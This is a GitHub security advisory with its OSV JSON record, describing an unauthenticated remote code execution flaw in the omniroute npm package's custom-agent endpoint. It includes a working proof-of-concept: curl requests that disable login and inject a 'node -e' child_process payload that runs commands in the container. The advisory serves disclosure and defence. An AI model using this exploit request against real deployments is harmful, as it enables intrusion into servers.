ghsa-hf57-cqmx-p4gr
CVSS 9.5 osv_npm## 2. Summary `POST /api/acp/agents` registers a custom ACP agent. The endpoint accepts user-controlled `binary` and `versionCommand` values. After saving the custom agent, the same request calls `refreshAgentCache()`, which triggers agent version detection. The version probe eventually runs: ```ts execFileSync(probe.command, probe.args, ...) ``` The only validation is `resolveVersionProbe(binary, versionCommand, true)`, which checks that the first token of `versionCommand` matches the request-provided `binary`. Because `binary` is also attacker-controlled, an attacker can submit: ```json { "binary": "node", "versionCommand": "node -e \"...arbitrary JavaScript...\"" } ``` This executes arbitrary Node.js code inside the server container, and that code can execute OS commands via `child_process.execSync()`. When `requireLogin=false`, `isAuthenticated()` treats anonymous requests as authenticated. At the same time, `/api/acp/` is not included in `LOCAL_ONLY_API_PREFIXES` or `SPAWN_CAPABLE_PREFIXES`, so the endpoint is not blocked by the LOCAL_ONLY policy before reaching the anonymous allow branch. As a result, a remote anonymous attacker can execute commands inside the OmniRoute container with a single HTTP request. ## 3. Preconditions The unauthenticated exploit is reachable in either of the following scenarios: 1. The target instance has `requireLogin=false`. This is the primary scenario covered by this report and by the reproduction steps below. 2. A fresh instance has no management password configured yet. During this bootstrap window, `/api/settings/require-login` allows unauthenticated setup writes, so an attacker can first set `requireLogin=false` and then call the vulnerable endpoint. If the instance is in the default `requireLogin=true` state and already has a management password, exploitation requires a valid management session or management-scoped API key. In that case, the bug is authenticated RCE rather than the unauthenticated scenario emphasized here. ## 4. Technical Analysis ### 4.1 The Endpoint Accepts User-Controlled Command Fields `src/app/api/acp/agents/route.ts:15-24` defines a request schema that accepts `binary`, `versionCommand`, and `spawnArgs`: ```ts const customAgentBodySchema = z.object({ action: z.string().optional(), id: z.string().optional(), name: z.string().optional(), binary: z.string().optional(), versionCommand: z.string().optional(), providerAlias: z.string().optional(), spawnArgs: z.array(z.string()).optional(), protocol: z.enum(["stdio", "http"]).optional(), }); ``` The `POST` handler at `src/app/api/acp/agents/route.ts:58-61` only calls `isAuthenticated()`: ```ts export async function POST(request: Request) { if (!(await isAuthenticated(request))) { return NextResponse.json({ error: "Unauthorized" }, { status: 401 }); } ``` The handler then stores `binary` and `versionCommand` in the custom agent definition without an executable allowlist: ```ts const newAgent: CustomAgentDef = { id: id.toLowerCase().replace(/[^a-z0-9-]/g, "-"), name, binary, versionCommand, providerAlias: providerAlias || id, spawnArgs: spawnArgs || [], protocol: protocol || "stdio", }; ``` This logic is in `src/app/api/acp/agents/route.ts:92-100`. ### 4.2 The Only Guard Is a Self-Consistency Check The only command validation in the route is at `src/app/api/acp/agents/route.ts:102-107`: ```ts if (!resolveVersionProbe(newAgent.binary, newAgent.versionCommand, true)) { return NextResponse.json( { error: "Invalid versionCommand: use the configured binary with plain arguments only" }, { status: 400 } ); } ``` The core logic of `resolveVersionProbe()` is in `src/lib/acp/registry.ts:261-288`: ```ts export function resolveVersionProbe( binary: string, versionCommand: string, requireBinaryMatch = false ): { command: string; args: string[] } | null { const tokens = tokenizeVersionCommand(versionCommand); if (!tokens) { return null; } const [command, ...args] = tokens; if (!command) { return null; } if (requireBinaryMatch) { const normalizedCommand = normalizeCommandToken(command); const allowed = new Set([ normalizeCommandToken(binary), normalizeCommandToken(path.basename(binary)), ]); if (!allowed.has(normalizedCommand)) { return null; } } return { command, args }; } ``` This check only requires the first token of `versionCommand` to equal `binary` or `path.basename(binary)`. Since `binary` is also attacker-controlled, `binary="node"` and `versionCommand="node -e \"...\""` pass validation. `tokenizeVersionCommand()` only blocks a small set of shell metacharacters (`src/lib/acp/registry.ts:183-254`): ```ts const DISALLOWED_VERSION_COMMAND_CHARS = /[;&|<>`$\r\n]/; ``` This does not prevent `node -e` code execution, because characters needed for the payload, such as `(`, `)`, `'`, `.`, `/`, `,`, and spaces, are allowed. ### 4.3 The Same Request Immediately Triggers Command Execution After saving the custom agent, the route calls `refreshAgentCache()` at `src/app/api/acp/agents/route.ts:121-127`: ```ts const updated = [...current, newAgent]; await updateSettings({ customAgents: updated }); setCustomAgents(updated); const agents = refreshAgentCache(); return NextResponse.json({ agents, added: newAgent }); ``` `refreshAgentCache()` is defined at `src/lib/acp/registry.ts:366-369`: ```ts export function refreshAgentCache(): CliAgentInfo[] { _cachedAgents = null; return detectInstalledAgents(); } ``` `detectInstalledAgents()` merges built-in and custom agents and calls `detectAgent()` for each one (`src/lib/acp/registry.ts:342-360`): ```ts const allDefs = [ ...AGENT_DEFINITIONS.map((d) => ({ ...d, _custom: false })), ..._customAgentDefs.map((d) => ({ ...d, _custom: true })), ]; _cachedAgents = allDefs.map((def) => { const { _custom, ...rest } = def; return detectAgent(rest, _custom); }); ``` The command execution sink is at `src/lib/acp/registry.ts:307-325`: ```ts const probe = resolveVersionProbe(def.binary, def.versionCommand, isCustom); if (!probe) { return { ...def, version, installed, isCustom }; } const output = execFileSync(probe.command, probe.args, { timeout: 5000, encoding: "utf-8", stdio: ["pipe", "pipe", "pipe"], ...(shouldUseShellForVersionProbe(probe.command) ? { shell: true } : {}), }).trim(); ``` On Linux containers, `shouldUseShellForVersionProbe()` returns `false` for non-Windows platforms (`src/lib/acp/registry.ts:290-301`): ```ts export function shouldUseShellForVersionProbe( command: string, platform = process.platform ): boolean { if (platform !== "win32") return false; ... } ``` Therefore the effective execution is `execFileSync("node", ["-e", "..."])`. No shell metacharacters are required. ### 4.4 Why This Is Unauthenticated `isAuthenticated()` is defined at `src/shared/utils/apiAuth.ts:285-302`: ```ts export async function isAuthenticated(request: Request): Promise<boolean> { if (!(await isAuthRequired(request))) { return true; } ... } ``` `isAuthRequired()` returns `false` when `requireLogin=false` (`src/shared/utils/apiAuth.ts:317-323`): ```ts const settings = await getSettings(); if (settings.requireLogin === false) return false; ``` The centralized management policy also has the same anonymous allow branch at `src/server/authz/policies/management.ts:223-226`: ```ts if (!isAlwaysProtectedPath(path) && !(await isAuthRequired(ctx.request))) { return allow({ kind: "anonymous", id: "anonymous", label: "auth-disabled" }); } ``` Routes that can start local subprocesses should be blocked by the LOCAL_ONLY policy first. `src/server/authz/routeGuard.ts:29-45` lists LOCAL_ONLY prefixes such as `/api/mcp/`, `/api/cli-tools/runtime/`, `/api/services/`, `/api/tools/agent-bridge/`, and `/api/plugins/`, but it does not include `/api/acp/`: ```ts export const LOCAL_ONLY_API_PREFIXES: ReadonlyArray<string> = [ "/api/mcp/", "/api/cli-tools/runtime/", "/api/services/", "/dashboard/providers/services/", "/api/copilot/", "/api/tools/agent-bridge/", "/api/tools/traffic-inspector/", "/api/plugins/", "/api/plugins", "/api/system/version", "/api/db-backups/exportAll", "/api/local/", "/api/headroom/start", "/api/headroom/stop", "/api/oauth/cursor/auto-import", ]; ``` `SPAWN_CAPABLE_PREFIXES` also omits `/api/acp/` (`src/shared/constants/spawnCapablePrefixes.ts:26-35`). This means `/api/acp/agents` reaches the anonymous allow branch when `requireLogin=false` instead of being rejected by the LOCAL_ONLY gate. ## 5. Reproduction Environment The issue can be reproduced in a local Docker environment: - OmniRoute image: `diegosouzapw/omniroute:latest` - Exposed port: `20128` - Container data directory: `/app/data` - PoC behavior: runs only read-only commands (`id` and `uname -a`) and writes their output to `/app/data/UNAUTH_RCE_PROOF.txt` ## 6. Reproduction Steps ### 6.1 Start a Test Instance ```bash JWT=$(openssl rand -base64 48) AKS=$(openssl rand -hex 32) docker network create omniroute-poc-net docker run -d --name omniroute-poc-redis --network omniroute-poc-net redis:7-alpine docker run -d --name omniroute-poc --network omniroute-poc-net \ -p 20128:20128 -p 20129:20129 \ -e JWT_SECRET="$JWT" \ -e API_KEY_SECRET="$AKS" \ -e REDIS_URL="redis://omniroute-poc-redis:6379" \ diegosouzapw/omniroute:latest ``` Wait for startup: ```bash until curl -sf http://localhost:20128/api/health >/dev/null 2>&1 || \ curl -sf http://localhost:20128/ >/dev/null 2>&1; do sleep 2 done ``` ### 6.2 Put the Instance in the Login-Disabled State This step models a self-hosted instance where dashboard login has been disabled: ```bash curl -s -X POST "http://localhost:20128/api/settings/require-login" \ -H "content-type: application/json" \ -d '{"requireLogin":false}' ``` If the target is already in `requireLogin=false`, this step is not needed. ### 6.3 Trigger RCE Anonymously The following request sends no cookie and no Bearer token: ```bash curl -s -X POST "http://localhost:20128/api/acp/agents" \ -H "content-type: application/json" \ -d '{ "id":"anonrce", "name":"anonrce", "binary":"node", "protocol":"stdio", "versionCommand":"node -e \"require('\''fs'\'').writeFileSync('\''/app/data/UNAUTH_RCE_PROOF.txt'\'',require('\''child_process'\'').execSync('\''id'\'').toString()+require('\''child_process'\'').execSync('\''uname -a'\'').toString())\"" }' ``` ### 6.4 Verify Command Execution ```bash docker exec omniroute-poc cat /app/data/UNAUTH_RCE_PROOF.txt ``` Expected output is similar to: ```text uid=1000(node) gid=1000(node) groups=1000(node) Linux <container-id> <kernel-version> ... <arch> GNU/Linux ``` This proves that the anonymous HTTP request executed `id` and `uname -a` inside the OmniRoute container. <img width="2123" height="1195" alt="image" src="https://github.com/user-attachments/assets/935ae9c2-3d75-45ec-9a90-f325bbd17e4f" />
- Published
- unknown
- Last Modified
- unknown
CVSS details not available.
No product information available.
No linked vulnerabilities found.
{
"affected": [
{
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-hf57-cqmx-p4gr/GHSA-hf57-cqmx-p4gr.json"
},
"package": {
"ecosystem": "npm",
"name": "omniroute",
"purl": "pkg:npm/omniroute"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.8.50"
}
],
"type": "SEMVER"
}
]
}
],
"aliases": [
"CVE-2026-88062"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-10T21:22:12Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## 2. Summary\n\n`POST /api/acp/agents` registers a custom ACP agent. The endpoint accepts user-controlled\n`binary` and `versionCommand` values. After saving the custom agent, the same request calls\n`refreshAgentCache()`, which triggers agent version detection. The version probe eventually runs:\n\n```ts\nexecFileSync(probe.command, probe.args, ...)\n```\n\nThe only validation is `resolveVersionProbe(binary, versionCommand, true)`, which checks that the\nfirst token of `versionCommand` matches the request-provided `binary`. Because `binary` is also\nattacker-controlled, an attacker can submit:\n\n```json\n{\n \"binary\": \"node\",\n \"versionCommand\": \"node -e \\\"...arbitrary JavaScript...\\\"\"\n}\n```\n\nThis executes arbitrary Node.js code inside the server container, and that code can execute OS\ncommands via `child_process.execSync()`.\n\nWhen `requireLogin=false`, `isAuthenticated()` treats anonymous requests as authenticated. At the\nsame time, `/api/acp/` is not included in `LOCAL_ONLY_API_PREFIXES` or `SPAWN_CAPABLE_PREFIXES`, so\nthe endpoint is not blocked by the LOCAL_ONLY policy before reaching the anonymous allow branch.\nAs a result, a remote anonymous attacker can execute commands inside the OmniRoute container with a\nsingle HTTP request.\n\n## 3. Preconditions\n\nThe unauthenticated exploit is reachable in either of the following scenarios:\n\n1. The target instance has `requireLogin=false`. This is the primary scenario covered by this\n report and by the reproduction steps below.\n2. A fresh instance has no management password configured yet. During this bootstrap window,\n `/api/settings/require-login` allows unauthenticated setup writes, so an attacker can first set\n `requireLogin=false` and then call the vulnerable endpoint.\n\nIf the instance is in the default `requireLogin=true` state and already has a management password,\nexploitation requires a valid management session or management-scoped API key. In that case, the\nbug is authenticated RCE rather than the unauthenticated scenario emphasized here.\n\n## 4. Technical Analysis\n\n### 4.1 The Endpoint Accepts User-Controlled Command Fields\n\n`src/app/api/acp/agents/route.ts:15-24` defines a request schema that accepts `binary`,\n`versionCommand`, and `spawnArgs`:\n\n```ts\nconst customAgentBodySchema = z.object({\n action: z.string().optional(),\n id: z.string().optional(),\n name: z.string().optional(),\n binary: z.string().optional(),\n versionCommand: z.string().optional(),\n providerAlias: z.string().optional(),\n spawnArgs: z.array(z.string()).optional(),\n protocol: z.enum([\"stdio\", \"http\"]).optional(),\n});\n```\n\nThe `POST` handler at `src/app/api/acp/agents/route.ts:58-61` only calls `isAuthenticated()`:\n\n```ts\nexport async function POST(request: Request) {\n if (!(await isAuthenticated(request))) {\n return NextResponse.json({ error: \"Unauthorized\" }, { status: 401 });\n }\n```\n\nThe handler then stores `binary` and `versionCommand` in the custom agent definition without an\nexecutable allowlist:\n\n```ts\nconst newAgent: CustomAgentDef = {\n id: id.toLowerCase().replace(/[^a-z0-9-]/g, \"-\"),\n name,\n binary,\n versionCommand,\n providerAlias: providerAlias || id,\n spawnArgs: spawnArgs || [],\n protocol: protocol || \"stdio\",\n};\n```\n\nThis logic is in `src/app/api/acp/agents/route.ts:92-100`.\n\n### 4.2 The Only Guard Is a Self-Consistency Check\n\nThe only command validation in the route is at `src/app/api/acp/agents/route.ts:102-107`:\n\n```ts\nif (!resolveVersionProbe(newAgent.binary, newAgent.versionCommand, true)) {\n return NextResponse.json(\n { error: \"Invalid versionCommand: use the configured binary with plain arguments only\" },\n { status: 400 }\n );\n}\n```\n\nThe core logic of `resolveVersionProbe()` is in `src/lib/acp/registry.ts:261-288`:\n\n```ts\nexport function resolveVersionProbe(\n binary: string,\n versionCommand: string,\n requireBinaryMatch = false\n): { command: string; args: string[] } | null {\n const tokens = tokenizeVersionCommand(versionCommand);\n if (!tokens) {\n return null;\n }\n\n const [command, ...args] = tokens;\n if (!command) {\n return null;\n }\n\n if (requireBinaryMatch) {\n const normalizedCommand = normalizeCommandToken(command);\n const allowed = new Set([\n normalizeCommandToken(binary),\n normalizeCommandToken(path.basename(binary)),\n ]);\n if (!allowed.has(normalizedCommand)) {\n return null;\n }\n }\n\n return { command, args };\n}\n```\n\nThis check only requires the first token of `versionCommand` to equal `binary` or\n`path.basename(binary)`. Since `binary` is also attacker-controlled, `binary=\"node\"` and\n`versionCommand=\"node -e \\\"...\\\"\"` pass validation.\n\n`tokenizeVersionCommand()` only blocks a small set of shell metacharacters\n(`src/lib/acp/registry.ts:183-254`):\n\n```ts\nconst DISALLOWED_VERSION_COMMAND_CHARS = /[;&|<>`$\\r\\n]/;\n```\n\nThis does not prevent `node -e` code execution, because characters needed for the payload, such as\n`(`, `)`, `'`, `.`, `/`, `,`, and spaces, are allowed.\n\n### 4.3 The Same Request Immediately Triggers Command Execution\n\nAfter saving the custom agent, the route calls `refreshAgentCache()` at\n`src/app/api/acp/agents/route.ts:121-127`:\n\n```ts\nconst updated = [...current, newAgent];\nawait updateSettings({ customAgents: updated });\nsetCustomAgents(updated);\n\nconst agents = refreshAgentCache();\nreturn NextResponse.json({ agents, added: newAgent });\n```\n\n`refreshAgentCache()` is defined at `src/lib/acp/registry.ts:366-369`:\n\n```ts\nexport function refreshAgentCache(): CliAgentInfo[] {\n _cachedAgents = null;\n return detectInstalledAgents();\n}\n```\n\n`detectInstalledAgents()` merges built-in and custom agents and calls `detectAgent()` for each one\n(`src/lib/acp/registry.ts:342-360`):\n\n```ts\nconst allDefs = [\n ...AGENT_DEFINITIONS.map((d) => ({ ...d, _custom: false })),\n ..._customAgentDefs.map((d) => ({ ...d, _custom: true })),\n];\n\n_cachedAgents = allDefs.map((def) => {\n const { _custom, ...rest } = def;\n return detectAgent(rest, _custom);\n});\n```\n\nThe command execution sink is at `src/lib/acp/registry.ts:307-325`:\n\n```ts\nconst probe = resolveVersionProbe(def.binary, def.versionCommand, isCustom);\nif (!probe) {\n return { ...def, version, installed, isCustom };\n}\n\nconst output = execFileSync(probe.command, probe.args, {\n timeout: 5000,\n encoding: \"utf-8\",\n stdio: [\"pipe\", \"pipe\", \"pipe\"],\n ...(shouldUseShellForVersionProbe(probe.command) ? { shell: true } : {}),\n}).trim();\n```\n\nOn Linux containers, `shouldUseShellForVersionProbe()` returns `false` for non-Windows platforms\n(`src/lib/acp/registry.ts:290-301`):\n\n```ts\nexport function shouldUseShellForVersionProbe(\n command: string,\n platform = process.platform\n): boolean {\n if (platform !== \"win32\") return false;\n ...\n}\n```\n\nTherefore the effective execution is `execFileSync(\"node\", [\"-e\", \"...\"])`. No shell\nmetacharacters are required.\n\n### 4.4 Why This Is Unauthenticated\n\n`isAuthenticated()` is defined at `src/shared/utils/apiAuth.ts:285-302`:\n\n```ts\nexport async function isAuthenticated(request: Request): Promise<boolean> {\n if (!(await isAuthRequired(request))) {\n return true;\n }\n ...\n}\n```\n\n`isAuthRequired()` returns `false` when `requireLogin=false`\n(`src/shared/utils/apiAuth.ts:317-323`):\n\n```ts\nconst settings = await getSettings();\nif (settings.requireLogin === false) return false;\n```\n\nThe centralized management policy also has the same anonymous allow branch at\n`src/server/authz/policies/management.ts:223-226`:\n\n```ts\nif (!isAlwaysProtectedPath(path) && !(await isAuthRequired(ctx.request))) {\n return allow({ kind: \"anonymous\", id: \"anonymous\", label: \"auth-disabled\" });\n}\n```\n\nRoutes that can start local subprocesses should be blocked by the LOCAL_ONLY policy first.\n`src/server/authz/routeGuard.ts:29-45` lists LOCAL_ONLY prefixes such as `/api/mcp/`,\n`/api/cli-tools/runtime/`, `/api/services/`, `/api/tools/agent-bridge/`, and `/api/plugins/`, but\nit does not include `/api/acp/`:\n\n```ts\nexport const LOCAL_ONLY_API_PREFIXES: ReadonlyArray<string> = [\n \"/api/mcp/\",\n \"/api/cli-tools/runtime/\",\n \"/api/services/\",\n \"/dashboard/providers/services/\",\n \"/api/copilot/\",\n \"/api/tools/agent-bridge/\",\n \"/api/tools/traffic-inspector/\",\n \"/api/plugins/\",\n \"/api/plugins\",\n \"/api/system/version\",\n \"/api/db-backups/exportAll\",\n \"/api/local/\",\n \"/api/headroom/start\",\n \"/api/headroom/stop\",\n \"/api/oauth/cursor/auto-import\",\n];\n```\n\n`SPAWN_CAPABLE_PREFIXES` also omits `/api/acp/`\n(`src/shared/constants/spawnCapablePrefixes.ts:26-35`).\n\nThis means `/api/acp/agents` reaches the anonymous allow branch when `requireLogin=false` instead\nof being rejected by the LOCAL_ONLY gate.\n\n## 5. Reproduction Environment\n\nThe issue can be reproduced in a local Docker environment:\n\n- OmniRoute image: `diegosouzapw/omniroute:latest`\n- Exposed port: `20128`\n- Container data directory: `/app/data`\n- PoC behavior: runs only read-only commands (`id` and `uname -a`) and writes their output to\n `/app/data/UNAUTH_RCE_PROOF.txt`\n\n## 6. Reproduction Steps\n\n### 6.1 Start a Test Instance\n\n```bash\nJWT=$(openssl rand -base64 48)\nAKS=$(openssl rand -hex 32)\n\ndocker network create omniroute-poc-net\ndocker run -d --name omniroute-poc-redis --network omniroute-poc-net redis:7-alpine\ndocker run -d --name omniroute-poc --network omniroute-poc-net \\\n -p 20128:20128 -p 20129:20129 \\\n -e JWT_SECRET=\"$JWT\" \\\n -e API_KEY_SECRET=\"$AKS\" \\\n -e REDIS_URL=\"redis://omniroute-poc-redis:6379\" \\\n diegosouzapw/omniroute:latest\n```\n\nWait for startup:\n\n```bash\nuntil curl -sf http://localhost:20128/api/health >/dev/null 2>&1 || \\\n curl -sf http://localhost:20128/ >/dev/null 2>&1; do\n sleep 2\ndone\n```\n\n### 6.2 Put the Instance in the Login-Disabled State\n\nThis step models a self-hosted instance where dashboard login has been disabled:\n\n```bash\ncurl -s -X POST \"http://localhost:20128/api/settings/require-login\" \\\n -H \"content-type: application/json\" \\\n -d '{\"requireLogin\":false}'\n```\n\nIf the target is already in `requireLogin=false`, this step is not needed.\n\n### 6.3 Trigger RCE Anonymously\n\nThe following request sends no cookie and no Bearer token:\n\n```bash\ncurl -s -X POST \"http://localhost:20128/api/acp/agents\" \\\n -H \"content-type: application/json\" \\\n -d '{\n \"id\":\"anonrce\",\n \"name\":\"anonrce\",\n \"binary\":\"node\",\n \"protocol\":\"stdio\",\n \"versionCommand\":\"node -e \\\"require('\\''fs'\\'').writeFileSync('\\''/app/data/UNAUTH_RCE_PROOF.txt'\\'',require('\\''child_process'\\'').execSync('\\''id'\\'').toString()+require('\\''child_process'\\'').execSync('\\''uname -a'\\'').toString())\\\"\"\n }'\n```\n\n### 6.4 Verify Command Execution\n\n```bash\ndocker exec omniroute-poc cat /app/data/UNAUTH_RCE_PROOF.txt\n```\n\nExpected output is similar to:\n\n```text\nuid=1000(node) gid=1000(node) groups=1000(node)\nLinux <container-id> <kernel-version> ... <arch> GNU/Linux\n```\n\nThis proves that the anonymous HTTP request executed `id` and `uname -a` inside the OmniRoute\ncontainer.\n\n<img width=\"2123\" height=\"1195\" alt=\"image\" src=\"https://github.com/user-attachments/assets/935ae9c2-3d75-45ec-9a90-f325bbd17e4f\" />",
"id": "GHSA-hf57-cqmx-p4gr",
"modified": "2026-09-10T21:30:04.793943024Z",
"published": "2026-09-10T21:22:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/diegosouzapw/OmniRoute/security/advisories/GHSA-hf57-cqmx-p4gr"
},
{
"type": "WEB",
"url": "https://github.com/diegosouzapw/OmniRoute/pull/11028"
},
{
"type": "WEB",
"url": "https://github.com/diegosouzapw/OmniRoute/commit/60829241fd64d0317aa6a0dd8cd7a445a5287fed"
},
{
"type": "PACKAGE",
"url": "https://github.com/diegosouzapw/OmniRoute"
}
],
"schema_version": "1.9.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": " OmniRoute ACP Custom-Agent Remote Code Execution (RCE)"
}